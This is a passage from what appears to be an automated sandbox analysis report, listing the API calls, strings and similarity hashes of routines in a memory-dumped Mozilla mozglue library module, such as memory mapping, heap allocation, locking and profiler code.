UnmapViewOfFile.KERNEL32 ref: 6CABAD37
CloseHandle.KERNEL32 ref: 6CABAD43
CloseHandle.KERNEL32 ref: 6CABAD67

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: d3419b90e60eb787f4fe36e7180d18d1f061126771ddfa6865f9f93b35b7d60b
Instruction ID: 279a98f61b057686d30446ac24ae63795aab1abe4a6415a8d3539ef5c36f4c63
Opcode Fuzzy Hash: d3419b90e60eb787f4fe36e7180d18d1f061126771ddfa6865f9f93b35b7d60b
Instruction Fuzzy Hash: AC3193B19043068FDB04AF7CD64826EBBF1FF85305F018A2DE98597211EF70A589CB82

Function 6CA69620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA69675
__Init_thread_footer.LIBCMT ref: 6CA69697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA69707
__Init_thread_footer.LIBCMT ref: 6CA6971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA69773

Part of subcall function 6CA8AB89: EnterCriticalSection.KERNEL32(6CADE370,?,?,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284), ref: 6CA8AB94
Part of subcall function 6CA8AB89: LeaveCriticalSection.KERNEL32(6CADE370,?,6CA534DE,6CADF6CC,?,?,?,?,?,?,?,6CA53284,?,?,6CA756F6), ref: 6CA8ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA697B7
FreeLibrary.KERNEL32 ref: 6CA697D0
FreeLibrary.KERNEL32 ref: 6CA697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA69824

Strings

ntdll.dll, xrefs: 6CA696E3
NtMapViewOfSection, xrefs: 6CA69701
MapViewOfFileNuma2, xrefs: 6CA697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA69670

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 00dd71286df71a030554137d3b75944f060a074c3b33f3c5775f2159832fb51e
Instruction ID: 2901a7834847fe76e95a32a3dd5e708ed124a1725ed9d7a163e5bba2649426d3
Opcode Fuzzy Hash: 00dd71286df71a030554137d3b75944f060a074c3b33f3c5775f2159832fb51e
Instruction Fuzzy Hash: 6A417BB46003069BDF048FA5ED88AD677B5FB49724F058528ED1587B80E730B88ACBA1

Function 6CA51E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADE784), ref: 6CA51EC1
LeaveCriticalSection.KERNEL32(6CADE784), ref: 6CA51EE1
EnterCriticalSection.KERNEL32(6CADE744), ref: 6CA51F38
LeaveCriticalSection.KERNEL32(6CADE744), ref: 6CA51F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CA51F83
LeaveCriticalSection.KERNEL32(6CADE784), ref: 6CA51FC0
EnterCriticalSection.KERNEL32(6CADE784), ref: 6CA51FE2
LeaveCriticalSection.KERNEL32(6CADE784), ref: 6CA51FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA52019

Strings

MOZ_CRASH(), xrefs: 6CA52000

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: a5c4c123eb46e7fabf6f11b575014ba7a0ad828808a6ac85bb87ae8fdb537eae
Instruction ID: d3300fa1852c07d4f949eebd4c920957accf23439c3e9d775928b8c5158db301
Opcode Fuzzy Hash: a5c4c123eb46e7fabf6f11b575014ba7a0ad828808a6ac85bb87ae8fdb537eae
Instruction Fuzzy Hash: 8E410471B013068FDF449F68C888BBA77B5FF49308F058129EA1597740DB71A889CBD5

Function 6CA67E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA67EA7
malloc.MOZGLUE(00000001), ref: 6CA67EB3

Part of subcall function 6CA6CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CA6CB49
Part of subcall function 6CA6CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CA6CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA67EC4
mozalloc_abort.MOZGLUE(?), ref: 6CA67F19
malloc.MOZGLUE(?), ref: 6CA67F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA67F4D

Strings

d, xrefs: 6CA67F89

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2dcbad4e4434babef130b5faf0dfe9b9f5abcbbbd26e0c4474cc4316445ce7f5
Instruction ID: 57d941867d2a4a8ab9aa610ede897bd139c27c94b90576668f213765e2600b45
Opcode Fuzzy Hash: 2dcbad4e4434babef130b5faf0dfe9b9f5abcbbbd26e0c4474cc4316445ce7f5
Instruction Fuzzy Hash: B9310A71E0038997DB019B69DD049FEF7B8EF96308F459628DD4997612FB30A6C9C390

Function 6CA63E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CA63CCC), ref: 6CA63EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA63FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CA63CCC), ref: 6CA64006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA63CCC), ref: 6CA640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CA63CCC), ref: 6CA640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CA64134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA63CCC), ref: 6CA64143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CA63CCC), ref: 6CA64157

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f15fb79653588a10d93df89576d8c63a5daa0c0afdc731f0b60e61f6320109e0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 6AA190B1A01215CFDB40CF6AC98065AB7F5FF48308F294199D909AFB42D775E886CFA0

Function 6CA52030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CA73F47,?,?,?,6CA73F47,6CA71A70,?), ref: 6CA5207F
memset.VCRUNTIME140(?,000000E5,6CA73F47,?,6CA73F47,6CA71A70,?), ref: 6CA520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CA73F47,6CA71A70,?), ref: 6CA5211A
EnterCriticalSection.KERNEL32(6CADE744,?,6CA73F47,6CA71A70,?), ref: 6CA52145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CA73F47,6CA71A70,?), ref: 6CA521BA
EnterCriticalSection.KERNEL32(6CADE744,?,6CA73F47,6CA71A70,?), ref: 6CA521E0
LeaveCriticalSection.KERNEL32(6CADE744,?,6CA73F47,6CA71A70,?), ref: 6CA52232

Strings

MOZ_CRASH(), xrefs: 6CA5227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CA52253, 6CA52268

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 4853dee14d43ddc399c3526d297f895e769b4a58ae55571adf94d23df8f61b1d
Instruction ID: 4d3a761ad4646802ae4733e7f92c721fbbe5d2e5dba89aabbf7a5c923853ff32
Opcode Fuzzy Hash: 4853dee14d43ddc399c3526d297f895e769b4a58ae55571adf94d23df8f61b1d
Instruction Fuzzy Hash: E261E531F012168FCB08CE68C98976E77B1BF85318F698339E524A7B94D770AD91CB91

Function 6CA548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CA9483A,?), ref: 6CA54ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CA9483A,?), ref: 6CA54AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CA9483A,?), ref: 6CA54A82

Part of subcall function 6CA6CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA6CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CA9483A,?), ref: 6CA54A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CA9483A,?), ref: 6CA54A35

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CA9483A,?), ref: 6CA54A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CA9483A,?), ref: 6CA54AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CA9483A,?), ref: 6CA54B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CA9483A,?), ref: 6CA54B2C

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: 36941fb24de925aa2eb7e65b901b23ac88c0e4f57c563a5c7f61d7b79a67ca60
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 72716CB1900746DFCB54CF68C5809AAB7F5FF18308B508A3ED15A9BB41E731E5A9CB80

Function 6CAA9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAA8273), ref: 6CAA9D65
free.MOZGLUE(6CAA8273,?), ref: 6CAA9D7C
free.MOZGLUE(?,?), ref: 6CAA9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAA9E0F
free.MOZGLUE(6CAA946B,?,?), ref: 6CAA9E24
free.MOZGLUE(?,?,?), ref: 6CAA9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAA9EC8
free.MOZGLUE(6CAA946B,?,?,?), ref: 6CAA9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAA9EF5

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: efb1dc6ea12ab271f05b04bfca252271b9eddd24eaf44a3a29d4096360747c2c
Instruction ID: b7f03b17a74c6fe40a0b08dbeecba03bd1105d8b17d5130903c027c503202511
Opcode Fuzzy Hash: efb1dc6ea12ab271f05b04bfca252271b9eddd24eaf44a3a29d4096360747c2c
Instruction Fuzzy Hash: AF71AF74909B418FD722CF68C68055BF3F4FF99315B448619E85A5BB02EB31E8CACB91

Function 6CAADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CAADDCF

Part of subcall function 6CA8FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA8FA4B

Part of subcall function 6CAA90E0: free.MOZGLUE(?,00000000,?,?,6CAADEDB), ref: 6CAA90FF
Part of subcall function 6CAA90E0: free.MOZGLUE(?,00000000,?,?,6CAADEDB), ref: 6CAA9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAADE0D
free.MOZGLUE(00000000), ref: 6CAADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA9DEFD,?,6CA64A68), ref: 6CAADF32

Part of subcall function 6CAADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAADB86
Part of subcall function 6CAADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA9DEFD,?,6CA64A68), ref: 6CAADF65
free.MOZGLUE(?), ref: 6CAADF80

Part of subcall function 6CA75E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA75EDB
Part of subcall function 6CA75E90: memset.VCRUNTIME140(6CAB7765,000000E5,55CCCCCC), ref: 6CA75F27
Part of subcall function 6CA75E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA75FB2

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 206197bd7634398e07bd0a24b1a460d33df985bcfa98309c1b25f0d1ef961ac5
Instruction ID: 654de9afe06734ee65078edcf354aeacdaf87f324f288b5e214db462d0724dde
Opcode Fuzzy Hash: 206197bd7634398e07bd0a24b1a460d33df985bcfa98309c1b25f0d1ef961ac5
Instruction Fuzzy Hash: 1F51E876E017019BD7208B68C9802AFB376BF95708F99411DDC9A53B00DB31F99BCB92

Function 6CAB5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CAB5C8C,?,6CA8E829), ref: 6CAB5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CAB5C8C,?,6CA8E829), ref: 6CAB5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CAB5C8C,?,6CA8E829), ref: 6CAB5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CAB5C8C,?,6CA8E829), ref: 6CAB5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CAB5C8C,?,6CA8E829), ref: 6CAB5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CAB5C8C,?,6CA8E829), ref: 6CAB5DC9
std::_Facet_Register.LIBCPMT ref: 6CAB5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CAB5C8C,?,6CA8E829), ref: 6CAB5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CAB5C8C,?,6CA8E829), ref: 6CAB5E45

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 01462ab816598f040ce31fc408f804eb88a06b499cef3a43e43ab1ccbe8920df
Instruction ID: e2858d8123bdf41ef37e6fa508a40e2694cab12c2d2a9d73157649f53cd96fbf
Opcode Fuzzy Hash: 01462ab816598f040ce31fc408f804eb88a06b499cef3a43e43ab1ccbe8920df
Instruction Fuzzy Hash: 5941A3307003058FDB04DFA5C898AAE77BAFF4D314F184168E506AB791DB34E946CB51

Function 6CA8CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA531A7), ref: 6CA8CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA8CFA4, 6CA8CFB8
<jemalloc>, xrefs: 6CA8CF9F, 6CA8CFB3

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 786c09f4f4acaf6f1ae3638277515d6365077a9c9a15c9240e755d469e9e27b4
Instruction ID: 6607f9acef70544b530b660fd89962bb4d38166a3da05dd6ca976f3da36ccd36
Opcode Fuzzy Hash: 786c09f4f4acaf6f1ae3638277515d6365077a9c9a15c9240e755d469e9e27b4
Instruction Fuzzy Hash: 6A31A930B423165BFB04AF698C45B6E7B75BB4575CF248218F6109B6C0DB70E9818FA1

Function 6CA5ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA5F100: LoadLibraryW.KERNEL32(shell32,?,6CACD020), ref: 6CA5F122
Part of subcall function 6CA5F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA5F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA5ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA5EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA5EDCC
CreateFileW.KERNEL32 ref: 6CA5EE08
free.MOZGLUE(00000000), ref: 6CA5EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA5EE32

Part of subcall function 6CA5EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA5EBB5
Part of subcall function 6CA5EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA8D7F3), ref: 6CA5EBC3
Part of subcall function 6CA5EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA8D7F3), ref: 6CA5EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA5EDC1

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: acb6d8d033e8ef79992bda865945981c104176c6e9782db578c00dc778efe816
Instruction ID: efd8810d7b35b4096d78710875b8f1e90eac90fed56529b683943f988863b2f5
Opcode Fuzzy Hash: acb6d8d033e8ef79992bda865945981c104176c6e9782db578c00dc778efe816
Instruction Fuzzy Hash: 65510171E053049BDB00DF68D9406EEB7B1AF49318F88C52DE8516B780E73869D8C7E2

Function 6CACA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CACA565

Part of subcall function 6CACA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CACA4BE
Part of subcall function 6CACA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CACA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CACA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CACA6B6

Strings

0, xrefs: 6CACA5FB
z, xrefs: 6CACA6AE

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 1b51040a4e91f9f545d6ec587773d73cd580f5471007bfa0faaa54d0f30206cf
Instruction ID: 8cf60be062c36617ed4fe0d03b599add7b80580bb8330a3da5637fbd27439723
Opcode Fuzzy Hash: 1b51040a4e91f9f545d6ec587773d73cd580f5471007bfa0faaa54d0f30206cf
Instruction Fuzzy Hash: 8C411971A097459FC341DF28C480A9BBBF5BF89354F408A2EF49987650EB30D989CB93

Function 6CA578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CAD008B), ref: 6CA57B89
free.MOZGLUE(?,6CAD008B), ref: 6CA57BAC

